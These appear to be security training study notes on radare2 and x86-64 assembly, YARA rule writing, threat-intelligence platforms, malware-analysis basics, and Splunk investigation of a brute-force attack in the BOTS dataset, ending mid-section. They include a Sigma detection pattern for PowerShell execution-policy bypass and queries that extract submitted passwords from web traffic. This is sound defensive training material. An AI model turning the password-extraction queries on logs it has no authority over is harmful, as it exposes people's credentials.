Intro to x86-64 Assembly Language

* Introduction
  + AT&T or Intel Syntax
  + r2 Reverse Engineering Framework
  + To begin
    - e asm.syntax=att
      * sets syntax to AT&T syntax
  + Computers execute machine code
    - encoded in bytes
    - processor specific
  + Machine code is often presented in assembly – more readable form
    - produced by compiler
      * source code is compiled into assembly (.s files)
      * assembler converts it into object program files (.o files)
      * operations with linker make it into an executable
    - Intel created instruction sets designed to be backward compatible
  + radare2 is a framework for reverse engineering and analyzing binaries
    - used to disassemble binaries and debug
    - r2 -d <file>
      * opens binary into debugging mode
      * analyze program with command: aa
        + analyzes all symbols and entry points
      * then run e asm.syntax=att
        + set disassembly syntax to AT&T
    - radare2 commands usually consist of a single character
      * ? – help
      * a? – more information about analysis, for example
      * afl – find list of functions following analysis of a binary
        + look for main function to begin analysis
      * examine a particular function
        + pdf @<function>

print disassembly function

* + - * pdf will output values
        + left column will be memory address of instructions

stored in stack structure

* + - * + middle column contains instructions encoded in bytes
        + final column contains human readable insutrctions
      * core of assembly language involves using registers to
        + transfer data between memory and register, and vice versa
        + perform arithmetic operations on registers and data
        + transfer control to other parts of the program
      * x86-64 registers are 64 bit and Intel has 16 registers
        + registers can be referenced as 32 bit values, as well as 16 and 8
        + first six registers are general purpose registers

%rsp is stack pointer and points to top of the stack

contains most recent memory address

* + - * + stack is a data structure that manages memory for programs

%rbp is a frame pointer and points to frame of the function currently being executed

every function is executed in a new frame

* + - * + to move data registers

movq <source>, <destination>

transferring constants (prefixed with $)

ex. movq $3 rax – moves constant 3 to register

transferring values from a register

ex. movq %rax %rbx – moves value from rax to rbx

transferring values from memory which is shown by putting registers inside brackets

ex. movq %rax (%rbx) – move value stored in %rax to memory location represented by %rbx

last letter of mov instruction represents size of data

byte – b

word – w

double word – l

quad word – q

single precision – s

double precision – l

* + - * + ADDITIONAL INSTRUCTIONS

leaq source, destination: this instruction sets destination to the address denoted by the expression in source

addq source, destination: destination = destination + source

subq source, destination: destination = destination - source

imulq source, destination: destination = destination \* source

salq source, destination: destination = destination << source where << is the left bit shifting operator

sarq source, destination: destination = destination >> source where >> is the right bit shifting operator

xorq source, destination: destination = destination XOR source

andq source, destination: destination = destination & source

orq source, destination: destination = destination | source

* IF statements
  + general form
    - if(condition) {
      * do-stuff-here
      * } else if(condition) //optional {
        + do-stuff-here
        + } else {

do-stuff-here

* + - * }
    - if statements used three important instructions
      * cmpq source2, source1 – computing a-b without setting destination
      * testq source2, source1 – computing a&b without setting destination
    - jump instructions are used to transfer control to different instructions
      * jmp – unconditional
      * je – equal/zero
      * jne – not equal/not zero
      * js – negative
      * jns – non-negative
      * jg – greater
      * jge – greater or equal
      * jl – less
      * jle – less or equal
      * ja – above (unsigned)
      * jb – below (unsigned)
        + unsigned integers cannot be negative while signed integers represent both positive and negative values
        + two’s complement representation for signed integers
        + binary calculation for unsigned integers
  + aaa
  + afl
  + pdf @<file>
    - analyzes program, lists functions, and disassembles a given function
  + to set a break point on the jge and jmp instruction
    - db <hex address of jge instruction>
    - db <hex address of jmp instruction>
      * + this stops the execution of the program at said points to see state of the program
  + run dc command to start program execution, which stops at breakpoint
  + to view values in registers enter dr command
  + to seek/move to next instruction enter ds command
* Loops
  + for loops and while loops
  + while loop
    - while(condition) {
      * do-stuff-here
      * change value used in condition
    - }
  + for loop
    - for(initialize value: condition; change value used in condition){
      * do-stuff-here
    - }

CC: RADARE2

* Introduction
  + Common Comands
    - -A – analyze binary upon entering r2 console
      * same as aaa in console
    - -d – enables debugger
    - -w – open file in write mode
    - - -open console without opening a file
* Analyzation
  + Common Commands
    - af – analyze functions
    - afl – list all functions
      * afl | sort
        + find where functions are organized in memory
  + r2 -d <file>
    - aa
    - e asm.syntax=att
    - count functions in binary – afl | wc -l
      * count is output minus 1
* Information
  + Commands
    - -i – shows general information about the binary
      * ia – shows all info
    - -izz – every string present in binary
    - -iM – address of main function
    - add “j” to end of every command to get output in JSON format
    - -ie – get entrypoint of file
* Navigating Through Memory
  + Command
    - s – used to navigate memory
      * print current memory address
      * specific point in memory with syntax <command> <address>
    - s+ n – move n number of bytes forward
    - s- n – move n number of bytes backward
    - s- - undo previous seek
    - s main – go to memory address of main function
    - sr pc – seek to register
      * sr rax – go to rax register
* Printing
  + Command
    - p – shows data in various formats
      * get info about what is happening in memory
      * use with @ to specify that something is an address in memory
      * <command> @<location>
    - px – print hex output of current memory location
      * pxe – emoji hexdump
      * px 5 – hexdump of 4 bytes
    - pd – print disassembly of current memory location
      * pd @ main
    - pC – print disassembly in column format
    - pdf @ <function> - return value
* Debugging
  + Commands
    - -d – debug mode
    - -db – breakpoint commands
      * -dbi – list out indexes and memory addresses of all breakpoints
    - -dr – print out values of all registers
    - -dc – run program until program ends or hit next breakpoint
    - -ds – step through binary one line at a time
      * -ds n – go forward n number of lines in binary
* Visual Mode
  + Commands
    - -v – commands concerning visual mode
    - -vV – enter graph mode
    - : - used to run normal r2 commands inside visual mode
    - q – go back to regular radare shell
    - s – step through binary inside visual mode
    - ; - add a comment
* Write Mode
  + Commands
    - -w – write mode
    - -wc – list all write changes
    - -wa – modifies instruction at current memory address

YARA

* Introduction
  + Yara helps identify information based on both binary and textual patterns
    - hexadecimal and strings contained within a file
  + Rules are used to label these patterns
    - written to determine if a file is malicious or not based upon features or patterns
  + Why Does Malware Use Strings?
    - stores textual data such as ransom addresses and IPs for botnet C2 servers
    - Malware Analysis
* Installing Yara
  + sudo apt install yara
* Introduction to Yara Rules
  + Rules are only as effective as your understanding of patterns you want to search for
  + Yara rules are simple
    - each command requires two arguments to be valid
      * rule file created
      * name of file, directory, or process ID to use the rule for
    - every rule must have a name and condition
      * ex. yara myrule.yar somedirectory
      * .yar is standard file extension for all Yara rules
    - example
      * create a file via touch
      * create another file via nano with .yar extension
        + create name of rule with a condition

ex. condition: true

will check if a file/directory/PID exists

* + - * + test with yara myfirstrule.yar somefile

if found, output will be name of the rule or output an error

* Expanding on Yara Rules
  + <https://yara.readthedocs.io/en/stable/writingrules.html>
  + <https://medium.com/malware-buddy/security-infographics-9c4d3bd891ef#18dd>
    - Keyword
    - Desc
    - Meta
      * reserved for descriptive information by author of rule
      * anything within this rule does not influence the rule itself
    - Strings
      * used to search for specific test or hexadecimal files or programs
      * define keyword ‘Strings’ where the string that is to be searched is stored within a variable
      * must use a condition to make it valid
        + multiple applicable strings – condition: any of them
    - Conditions
    - Weight
  + Conditions
    - can use operators such as <=, >=, !=
  + Combining Keywords
    - and, not, or
* Yara Modules
  + Frameworks such as Cuckoo Sandbox and Python PE Module
    - <https://cuckoosandbox.org/>
    - <https://pypi.org/project/pefile/>
  + Cuckoo
    - automated malware analysis environment
    - generate yara rules based upon behaviors discovered from Cuckoo sandbox
      * rules created based on specific behaviors as malware is executed in the environment
  + Python PE
    - create rules from various sections and elements of the Windows PE structure
      * standard formatting of all executables and DLL files
* Yara Tools
  + <https://github.com/InQuest/awesome-yara>
  + LOKI
    - open source IOC scanner
      * File Name IOC Check
      * Yara Rule Check
      * Hash Check
      * C2 Back Connect Check
  + THOR
    - newer IOC and YARA scanner
    - <https://www.nextron-systems.com/thor-lite/>
    - THOR Lite free version
  + FENRIR
    - bash script
  + YAYA
    - EFF creation
* Using LOKI and Yara Rule Set
  + IOCs are often shared in threat reports to create rules that detect threats in environment
  + inspecting a file
    - ex. ~/suspicious-files/file1$ python ../../tools/Loki/loki.py -p .
* Creating Yara Rules with yarGen
  + if a file is found that requires a rule
    - first detect likely useful strings – strings <filename> | wc -l
      * can be daunting
  + yarGen
    - <https://github.com/Neo23x0/yarGen>
      * + update with python3 yarGen.py –update
    - to create a rule
      * ex. python3 yarGen.py -m /path/file --excludegood -o /path/file.yar
      * ex. python3 yarGen.py -m /home/cmnatic/suspicious-files/file2 --excludegood -o /home/cmnatic/suspicious-files/file2.yar
        + -m – path to files rules are to be generated for
        + - -excludegood – force to exclude all goodware strings to reduce false positives
        + -o – location and name for output of yara rule
      * examine newly created rule and remove any strings that may cause false positives
    - To apply rule
      * ex. yara <file>.yar <file>/<file>
      * ex. yara file2.yar file2/1ndex.php
      * copy and apply to Loki yar DB
    - can also use yarAnalyzer
      * <https://github.com/Neo23x0/yarAnalyzer/>
    - Further Reading
      * <https://www.bsk-consulting.de/2015/02/16/write-simple-sound-yara-rules/>
      * <https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/>
      * <https://www.bsk-consulting.de/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/>
* Valhalla
  + online Yara feed
    - search based on keyword, tag, ATT&CK technique, SHA256, or rule name
    - inspect info for rule
    - extensions
    - hashes
    - comparison to VirusTotal
    - programming language and library
* Conclusion

Compare rule databases between open source and commercial versions of products to prevent blind spots for even well known files and exploits

Intro to ISAC

* Introduction
  + Information Sharing and Analysis Centers
    - share and exchange various Indicators of Compromise (IOCs) to obtain threat intelligence
      * includes MD5s, IPs, YARA rules, etc.
    - many IACs including AlienVault OTX, Threat Connect, and MISP
* Basic Terminology
  + APT – Advanced Persistent Threat
    - threat group, nation-state
    - long-term attacks
    - <https://www.fireeye.com/current-threats/apt-groups.html>
  + TTP – Tactics, Techniques, Procedures
    - Tactic – goals/objectives
    - Technique – how goals/objectives are achieved
    - Procedure – how technique is executed
  + TI – Threat Intelligence
    - all collected information on adversaries and TTPs
    - CTI – Cyber Threat Intelligence
  + IOC – Indicator of Compromise
    - indicators for malware and adversary groups
    - file hashes, IPs, names, etc.
* What is Threat Intelligence
  + provides information about threat landscape
    - adversaries and TTPs
    - APT groups
    - <https://apt.threattracking.com/>
    - https://www.fireeye.com/current-threats/apt-groups.html
  + Data is analyzed to become actionable threat intelligence
    - requires context
  + TTPs change constantly
    - CTI collect in ISACs
  + Broken into Three Distinct Types
    - Strategic
      * senior management can make informed decisions specifically about security budget and strategies
    - Tactical
      * interacts with TTPs and attack models to ID adversary attack patterns
    - Operational
      * Interacts with IOCs and how adversaries operate
* What are ISACs
  + member driven organizations that deliver all-hazards threat and mitigation information to asset owners and operators
    - can be community or vendor
  + include CTIs from threat actors, mitigation information such as IOCs, YARA rules, etc.
  + National Council of ISACs
    - <https://www.nationalisacs.org/member-isacs>
    - <https://us-cert.cisa.gov/>
    - <https://otx.alienvault.com/>
    - <https://threatconnect.com/>
    - <https://www.misp-project.org/>
* Using Threat Connect to Create a Threat Intelligence Dashboard
  + Threat Connect Overview
    - more on information and new developments within cybersec and threat landscape and connecting landscape with indicators
    - <https://threatconnect.com/>
  + Creating a Threat Intel Dashboard
    - Operations Dashboard
    - Source Analysis
    - OSINT Overview
    - Default Dashboard
  + Breaking Down the Dashboard
    - Top Sources by Observation
      * sorts indicators by owner or source
      * helpful in finding reliable sources for intelligence as a majority of threat intel is community-driven
    - Latest Intelligence
      * latest intel reported to platform
    - Top Sources by False Positives
      * sort owners by who has most false positives
      * useful to stay away from indicators that generate false positives and low quality intel
    - Top Tags
      * Collection of top tags for indicators
      * quickly ID trends
    - Indicator Breakdown
      * breakdown of all intelligence combined and what indicators make up the platform
      * whole platform breakdown
  + Custom Dashboards
    - use various parts of default dashboard to create own
* Introduction to AlienVault OTX
  + Community maintained threat intelligence
  + <https://otx.alienvault.com/>
    - uses pulses to create trackers for various categories
      * categorized by malware type, APT group, or targeted industry
      * IOCs such as file hases, IPv4, IPv6, Domain, URL, YARA, CVE, etc.
    - main page is dashboard
      * most common active malware broken down by category
      * subscribed pulses
      * brief overview of important intel
    - Browse
      * see new pulses and sort by category
    - Scan Endpoint
      * automated service that scan endpoints for indicators
    - Create Pulse
      * allow to create own pulses
    - Submit Sample
      * submit malware sample or URL sample which will be analyzed by OTX and generate a report
    - API Integration
      * allows synchronization of the threat exchange with other tools for monitoring environment
* Using OTX to Gather Threat Intelligence
  + Pulse Overview
    - consists of description, tags, indicator rtpes, threat infrastructure
    - community driven
      * variable in quality
  + Breaking Down a Pulse
    - Three Main Sections
      * Pulse Description
        + description, references, tags, malware families, ATT&CK IDs
        + description verifies pulse and overview
        + IDs quickly identify what TTPs are being used
      * Indicator Overview
        + brief statistical description of indicators within the pulse
        + helpful when looking for specific IOC like a file hash or YARA rule
        + indicators and countries
      * Indicators
        + all indicators and info about them
        + type
        + indicator
        + added – date added
        + active – still seen in wild or not
        + related pulses – same indicator, useful for cross checking
        + extra information (advanced) – dynamic analysis, network activity, YARA rules
  + Finding Pulses Based on Malware
  + Finding Pulses Based on Adversaries
    - [https://docs.google.com/spreadsheets/d/1H9\_xaxQHpWaa4O\_Son4Gx0YOIzlcBWMsdvePFX68EKU/pubhtml#](https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/pubhtml)
  + Finding Pulses Based on Industry
* Creating IOCs Manually
  + Tools available
    - strings, winmd5free, Mandiant IOC Editor
  + Begin by collector indicators from a sample
    - gather MD5 file hash using WinMD5
      * run and select file
    - look at properties of file
      * size, name, date created, etc
    - strings command
      * ex. ./strings.exe <path to file> -accepteula > output.txt
      * look for human readable strings
  + In Mandiant IOCe
    - File > New Indicator
      * Add indicators from IOC from the Item Tab
      * <https://www.fireeye.com/content/dam/fireeye-www/services/freeware/ug-ioc-editor.pdf>
  + Creating Pulses from IOCs
    - Create Pulse Tab of AlienVault OTX
      * can auto extract indicators
      * manually add indicators
      * submit sample tab
  + Connecting IOCs with Pulses

Malware analysis

* form of incident response, analyze Point of Entry, indicators of malware presence, performance of malware – determine potential methods of prevention/detection
* Understanding Malware Campaigns
  + two main types – targeted and mass campaigns
    - TARGETED – specific purpose, target – DarkHotel malware
    - MASS – most common, numbers game – tracked by commercial and open source companies and databases – track target industry/machinery, manufacturer, pharma, construction, education, infosec
* Identification of a Malware Attack
  + determine delivery, execution, persistence, propagation through network traffic, file system interaction
  + - Delivery
  + - Execution
  + - Persistence Maintenance
  + - Persistence
  + - Propagation
* Two main Types of fingerprinting
  + Host-Based
  + Network-Based
* Static vs. Dynamic Analysis
  + STATIC – high level abstraction of the sample, analysis of the code without execution – signature analysis via checksum – quick safe but relatively shallow
  + DYNAMIC – observation of executing code
* Common Tools
  + PE Tools – Dependency Walker, PeID, PE Explorer, Peview, ResourceHacker
  + Diassembly – IDA Freeware, WinDbg
  + Sysinteralsuite – ResourceHacker
* MD5 Checksums of Files
  + using VirusTotal
  + HashTab application – calculate an MD5 sum for files
* Identifying if Executables are Obfuscated and/or Packed
  + PeID can be used for this – detection through hex file headers
    - executables are 4D 5A hex value
* Obfuscation and Packing
  + using Peid, select file and view file reported as packed
    - ex. <text> → <file>
  + PeiD will not detect homegrown packers or less known ones – detected obfuscators/packers will need to be manually unpacked – PeiD does not do this automatically
  + open with IDAFreeware – imports tab – few imports indicates packed –
  + Introduction to Strings
    - sysinternals – strings “C:\path\file”
  + PE Explorer –> View –> Imports –> unique imports
* disassemblers + debuggers
* WHAT ARE CHECKSUMS
  + used for ID of files
  + -risk of hash collisions - minimized with advanced algorithms
* CVE-2018-2689 - malware capable of escaping VMs
* online sandboxes - any.run, hybrid-analysis
  + search for domain name contacts, creation of registry keys, read/writing files, creating system processes, maintaining persistence
  + through system startup
  + registry activty, network activity,
* Powershell
  + CertUtil -hashfile <file> <hash type>
  + Get-FileHash file\_name -Algorithm MD5|SHA256|SHA512
* MALWARE STRINGS
  + default logins, credentials and other sensitive pieces of information stored within strings during development cycle
  + malware such as botnets, ransomware rely upon information stored within strings - IP addresses to call home/C2 server

Splunk

* Splunk 101
  + Navigating Splunk
    - Messages – System-level Messages
    - Settings – Configure Splunk instance
    - Activity – review progress of jobs
    - Help – misc. tutorials
    - Find – search features
    - App – Drop down
    - Apps Panel – see apps installed for Splunk instance
      * Default App – Search & Reporting
    - Explore Splunk
      * quick links to add data to instance, add new apps, and access documentation
    - Home Dashboard
      * none displayed by default, but can be changed
    - <https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/NavigatingSplunk>
  + Splunk Apps
    - Search & Reporting
      * enter Splunk queries to search through data ingested by Splunk
    - Apps > cog > Manage Apps
      * Edit properties
        + to land within a specific app automatically post login, edit user-prefs.conf

C:\Program Files\Splunk\etc\apps\user-prefs\default\user-prefs.conf

/opt/splunk/etc/apps/user-pref/default/user-prefs.conf

* + - * + need to restart splunk from command line for user preferences to take hold

net stop splunkd, net start splunkd

* + - * + Find More Apps
      * Splunk Apps
        + Splunkbase

<https://splunkbase.splunk.com/>

need an account

* + - * + Install app from file
        + To Remove app via Command Line

C:\Program Files\Splunk\bin>splunk.exe remove app app-name -auth splunk-username:splunk-password

* + Adding Data
    - Sources can be event logs, website logs, firewall logs
    - Grouped into categories
      * <https://docs.splunk.com/Documentation/Splunk/8.1.2/Data/Getstartedwithgettingdatain#Use_apps_to_get_data_in>
    - Add Data
      * Windows Event Logs and Sysmon Logs 🡪 Monitor
        + Local Event Logs

Available Items(s)

* + - * Settings > Data Inputs
  + Splunk Queries
    - Enter an asterisk and change the timeframe to search All time
    - Specific source or sourcetype
      * or select source/sourcetype under Selected Fields
    - names (values) of each source and the number of events (count), and the percentage value (%) of all the events of each source
      * start query with Sysmon as the source
        + source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational”
      * click > to expand event to make it more readable
        + can expand query by adding event IDs such as EventID=12 (RegistryEvent Object Create and Delete) – case sensitive
        + can also search via keyworks such as GoogleUpdate.exe – not case sensitive
      * Can add highlighted values to search from expanded view
        + can do multiple keyworks

ex. \* GoogleUpdate.exe chrome\_installer.exe

* + - * + to search for a phrase, surround phrase with quotes

\* “failed password for sneezy”

* + - * be sure to use “Interesting Fields” sidebar
        + RuleName values can be used to expand query
    - <https://www.splunk.com/pdfs/solution-guides/splunk-quick-reference-guide.pdf>
  + Sigma Rules
    - generic and open signature format that allows you to describe relevant log events in a straightforward manner
    - queries (or rules) can be created in the Sigma format and shared with teams that don't use Splunk. Sigma rules can be shared along with IOCs and YARA rules as Threat Intelligence.
    - written in YAML
    - online tool that does conversions automatically
      * Uncoder.io
        + convert Sigma to Splunk and Visa Versa

ex. sigma: APT29 🡪 CommandLine="\*-noni -ep bypass $\*"

* + - * Github Repo
        + <https://github.com/SigmaHQ/sigma>
  + Dashboard and Visualization
    - To Create a Dashboard in Search App
      * Search > Dashboards > Create New Dashboard > Save
      * Create Query
        + Display Top 5 Sysmon Event IDs

source=”XmlWinEventLog:Microsoft-Windows-Sysmon/Operational” | top limit=5 EventID

* + - * + Visualization

Charts

* + - * Save as Dashboard > Existing
      * Set as Home Dashboard
  + Alerts
    - <https://docs.splunk.com/Documentation/SplunkCloud/8.1.2012/Alert/AlertWorkflowOverview>
      * Cannot be done in free version
    - <https://docs.splunk.com/Documentation/Splunk/latest/Alert/Aboutalerts>
    - <https://docs.splunk.com/Documentation/SplunkCloud/8.1.2012/Alert/Alertexamples>
  + Conclusion
    - SPL and regex
    - <https://docs.splunk.com/Documentation/Splunk/8.1.2/Knowledge/AboutSplunkregularexpressions>
    - <https://www.splunk.com/en_us/training/courses/splunk-fundamentals-1.html?utm_medium=email&utm_source=nurture&utm_campaign=GLOBAL_Enterprise_Trial_Learning_Mar19&utm_content=Splunk-fundamentals-1&elqTrackId=590afdde558446d1b16f45726f1bdbfb&elq=7e380948a4ab47419542ec6b54519247&elqaid=21461&elqat=1&elqCampaignId=15042>

Splunk 102

* Dive Into The Data
  + https://github.com/splunk/botsv2
  + SPL command metadata can be used to search for information found in Data Summary with specific index options
    - * returned in EPOCH time – need to use eval command to provide more human-friendly formatting
    - <http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Metadata>
    - <https://www.splunk.com/blog/2017/07/31/metadata-metalore.html>
  + | metadata type=sourcetypes index=botsv2 | eval firstTime=strftime(firstTime,"%Y-%m-%d %H:%M:%S") | eval lastTime=strftime(lastTime,"%Y-%m-%d %H:%M:%S") | eval recentTime=strftime(recentTime,"%Y-%m-%d %H:%M:%S") | sort – totalCount
* 100 Series Questions
  + HTTP Traffic – Dest and Src Addrs
    - index=”botsv2” amber
      * PAN traffic
        + index=”botsv2” sourcetype=”pan:traffic”
    - index=”botsv2” <IPADDR> sourcetype=”stream:HTTP”
* <https://ivanitlearning.wordpress.com/2020/06/15/hunting-with-splunk-botsv2-qns-1xx/>
* <https://ivanitlearning.wordpress.com/2020/06/12/hunting-with-splunk-botsv2-qns-2xx/>
* <https://ivanitlearning.wordpress.com/2020/06/20/hunting-with-splunk-botsv2-qns-3xx/>
* <https://ivanitlearning.wordpress.com/2020/06/23/hunting-with-splunk-botsv2-qns-4xx/>
* See Splunk Folder For Saved Examples Of Use Cases
* Common Splunk Commands
  + search – queries always begin with this command unless specifically specified
    - rare/top – displays the most/least common values of a field
  + index – storage point for imported data
  + dashboard – allows creation of views that enable consistent pulls of same searches repeatedly
  + dedup – removes copies of same data during imports
  + transactions – included in search to track how long event pairs take
  + can use pipe | command to input results into further commands
  + timechart/chart – used to plot occurrences of events tracked over time
  + stats – provides general statistical information about a search
  + fields – data imported into splunk is categorized into these columns
  + host/source/source type – point of origination for data uploaded into splunk
    - sourcetype (syntax) – classify points of origin and group together
  + eval – command prior to evaluation of performed functions on data
  + rex – command to use regex
  + pivot table – create subsets and specific views for less technical Splunk users
  + \_time – proper name for time date field
  + head – specifically include only the first few values found within search
  + reverse – flip the order that results are returned in
  + lookup – include within a search to rename fields using user-provided tables of values
  + bucket – collect events into specific time frames for further processing
  + span – define data into specific sections of time to be used within chart commands
  + count – number occurrence of an event
  + <https://splunkbase.splunk.com/> - splunk apps location
  + BOTS – Boss of the SOC
  + CIM – Common Information Model
  + splunk forums – answers.splunk.com
* Splunk Quick Reference Guide
* BOTS
  + <https://www.splunk.com/blog/2017/09/06/what-you-need-to-know-about-boss-of-the-soc.html>
* Overview
  + Dealing with website defacement, ransomware infection
  + Lockheed Martin’s Kill Chain
    - 1 – Recon
    - 2 – Weaponization
    - 3 – Delivery
    - 4 – Exploitation
    - 5 – Installation
    - 6 – Command and Control (C2)
    - 7 – Actions on Objectives
* APT review in Splunk
  + Reviewing All Data Available
    - SPL command ‘metadata’ can be used to search for same info found in Data Summary with additional context options
      * returned in EPOCH time
    - <http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Metadata>
    - metadata command
      * | metadata type=sourcetypes index=<index> (ex. botsv1)
  + Building Kill Chain and Traffic Flow Diagrams
    - * <http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf>
    - Finding the IP Scanning Your Web Server - Reconnaissance
      * Understanding Different Sourcetypes
        + Identify sourcetypes Associated with Search Values

index=botsv1 imreallynotbatman.com

index=<index choice> <url>

* + - * + Finding Source Addresses

index=<index> <url>

time picker set to All Time or specific time frame if dataset is large

* + - * + Selecting a sourcetype and Searching for Source Address

index=<index choice> <url> sourcetype=stream:http

check for web data that is being seen

Stream is a free app for Splunk that collects wire data for protocols

check what IP addresses are associated with domain

* + - Validating the IP that is Scanning Your Web Server – Reconnaissance
      * Take IP addresses found with stream data and change source type to IDS to view logged events coming from suspect IP address
      * index=<index> <url> src=<suspect IP> sourcetype=<IDS>
        + ex. index=botsv1 imreallynotbatman.com src=40.80.148.42 sourcetype=suricata
      * view web signatures to confirm IP address is scanning website
        + look for web scanner tools, such as Acunetix
      * Another Option: Search Stream sourcetype and Count the src-IP
        + index=<index> <url> sourcetype=<src> | stats count(src\_ip) as Requests by src\_ip | sort – Requests
        + ex. index=botsv1 imreallynotbatman.com sourcetype=stream\* | stats count(src\_ip) as Requests by src\_ip | sort – Requests
    - Identify the Web Vulnerability Scanner - Reconnaissance
      * Looking at src\_headers
        + index=<index> src=<suspect IP> sourcetype=<src>
        + ex. index=botsv1 src=40.80.148.42 sourcetype=stream:http

look for scanner information

* + - * Looking at http\_user\_agent Strings
        + index=<index> src=<suspect IP> sourcetype=<src>
        + ex. index=botsv1 src=40.80.148.42 sourcetype=stream:http

check for anomalous/unusual agent strings

* + - Determining Which Web Server is the Target
      * Research system applications to determine logs of critical review importance
      * Identify IP address of Victim System
        + index=<index> src=<suspect IP> sourcetype=<src>
        + ex. index=botsv1 src=40.80.148.42 sourcetype=stream:http

look for server IP with majority traffic

* + - * Digging into the URI
        + index=<index> dest=<victim IP> sourcetype=<src>
        + index=botsv1 dest=192.168.250.70 sourcetype=stream:http

review URLs and URIs to determine content and directory structures being targeted

* + - * Looking for Confirmation
        + index=<index> dest=<victim IP> sourcetype=<src> status=<status code>
        + ex. index=botsv1 dest=192.168.250.70 sourcetype=stream:http status=200 | stats count by uri | sort – count
      * Finding the Answer with IIS

index=botsv1 sourcetype=iis sc\_status=200 | stats values(cs\_uri\_stem)

* + - * + Review IIS logs for Host, URI strings, response code
    - Identifying Where a Brute Force Attack Originated
      * Looking in Wire Data – stream:http
        + index=<index> sourcetype=<src>
        + ex. index=botsv1 sourcetype=stream:http

top src values, view IPs associated with http events

* + - * Refine Search with Web Server Address
        + index=<index> sourcetype=<src> dest=”<victim IP>”
        + ex. index=botsv1 sourcetype=stream:http dest="192.168.250.70"

look for traffic going to victim address

external addresses vs internal 192 addresses

* + - * Same Search, Different Port
        + index=<index> sourcetype=<src> dest=”<victim IP>”
        + ex. index=botsv1 sourcetype=stream:http dest="192.168.250.70"

look at http\_method requests

number of POSTs vs GETs = higher POSTs 🡪 indicate Brute Forcing

* + - * Adding an HTTP Method to Narrow Results
        + index=<index> sourcetype=<src> dest=”<victim IP>” http\_method=<POST or GET>
        + ex. index=botsv1 sourcetype=stream:http dest="192.168.250.70" http\_method=POST
      * Finding Passwords in HTTP Wire Data
        + index=<index> sourcetype=<src> dest="victim IP" http\_method=POST form\_data=\*username\*passwd\*
        + ex. index=botsv1 sourcetype=stream:http dest="192.168.250.70" http\_method=POST form\_data=\*username\*passwd\*

using wildcards to look for values that contain strings username and passwd

use | table form\_data to tabulate view into an easy to read format

ensure time picker is set to narrow to limit exhaustive search

* + - * Identifying the First Password Attempted in a Brute Force Attack
        + What was the first brute force password used?

index=botsv1 sourcetype=stream:http form\_data=\*username\*passwd\* | table \_time form\_data

* + - * + Reversing the Order of Output

index=botsv1 sourcetype=stream:http form\_data=\*username\*passwd\* | table \_time form\_data

| reverse

* + - * + A More Elegant Way To View Passwords

index=botsv1 sourcetype=stream:http http\_method=POST

| rex field=form\_data "passwd=(?<userpassword>\w+)"

| search userpassword=\*

| reverse

| head 1

| table userpassword

extracts passwords to a new field containing password string values only when the new field userpassword exists and contains data, then reverses the output, returns the first record in the data set, and outputs only the userpassword field

* + - Extracting Passwords from Events
      * Extracting Password from form\_data

index=botsv1 sourcetype=stream:http form\_data=\*username\*passwd\*

| rex field=form\_data "passwd=(?<userpassword>\w+)"

| table userpassword

* + - * + extract values from form\_data and look for string that starts with passwd= and capture all alphanumeric characters and placed in a table userpassword
      * Calculating the Length

index=botsv1 sourcetype=stream:http form\_data=\*username\*passwd\* | rex field=form\_data "passwd=(?<userpassword>\w+)"

| eval lenpword=len(userpassword)

| table userpassword lenpword

* + - * + look for passwords of a given value/length
      * Finding a password using an external source file

index=botsv1 sourcetype=stream:http form\_data=\*username\*passwd\* | rex field=form\_data "passwd=(?<userpassword>\w+)" | eval lenpword=len(userpassword) | search lenpword=6

| eval password=lower(userpassword)

| lookup coldplay.csv song as password OUTPUTNEW song

| search song=\*

| table song

* + - * + this uses a csv file made from copying known coldplays songs and searching for a given output that matches
    - Identifying the password used to gain access

index=botsv1 sourcetype=stream:http form\_data=\*username\*passwd\* dest\_ip=192.168.250.70 | rex field=form\_data "passwd=(?<userpassword>\w+)"

| stats count by userpassword | sort – count

* + - * + password extraction for values used more than once, as successful inputs will be tested again by tools such as hydra
      * stats command provides a wider view

index=botsv1 sourcetype=stream:http form\_data=\*username\*passwd\* dest\_ip=192.168.250.70 | rex field=form\_data "passwd=(?<userpassword>\w+)"

| stats count values(src) by userpassword | sort – count

* + - * + determines where the login came from
      * Collecting additional attributes around the login events

index=botsv1 sourcetype=stream:http form\_data=\*username\*passwd\* dest\_ip=192.168.250.70 src=40.80.148.42 | rex field=form\_data "passwd=(?<userpassword>\w+)"| search userpassword=\* | table \_time uri userpassword

* + - * + add source address and URI associated with penetration
    - Finding Average Length of the Passwords During the Brute Force Attack

index=botsv1 sourcetype=stream:http http\_method=POST | rex field=form\_data "passwd=(?<userpassword>\w+)" | search userpassword=\*

| eval mylen=len(userpassword)

| stats avg(mylen) AS avg\_len\_http

| eval avg\_len\_http=round(avg\_len\_http,0)

* + - * + determine an average length using stats command or average command
        + round out with eval and round command + function
    - Determining the Elapsed Time Between Events
      * Tabling Logins with Same Password

index=botsv1 sourcetype=stream:http | rex field=form\_data "passwd=(?<userpassword>\w+)" | search userpassword=batman | table \_time userpassword src

* + - * + look for delta in time between successful login events

grabbing \_time and src

* + - * Transaction command

index=botsv1 sourcetype=stream:http | rex field=form\_data "passwd=(?<userpassword>\w+)" |search userpassword=batman

| transaction userpassword | table duration

* + - * + group events together with transaction and return a field called duration that calculates difference between first and last event

round out with eval round

* + - Identifying the Number of Unique Passwords Attempted During the Brute Force Attack
      * Distinct Count
        + index=botsv1 sourcetype=stream:http form\_data=\*username\*passwd\* | rex field=form\_data "passwd=(?<userpassword>\w+)" | stats count(userpassword)
      * Distinct Passwords Attempted
        + index=botsv1 sourcetype=stream:http form\_data=\*username\*passwd\* | rex field=form\_data "passwd=(?<userpassword>\w+)" | stats dc(userpassword)
    - Identifying the Executable Uploaded
      * Search for EXEs in stream:http
        + index=botsv1 sourcetype=stream:http dest="192.168.250.70" \*.exe
      * Search for EXEs in Suricata
        + index=botsv1 sourcetype=suricata dest\_ip=192.168.250.70 .exe
      * Hostnames v IPs
        + index=botsv1 sourcetype=suricata (dest="192.168.250.70" OR dest\_ip="192.168.250.70") .exe
      * When Destination and Destination IP are Different
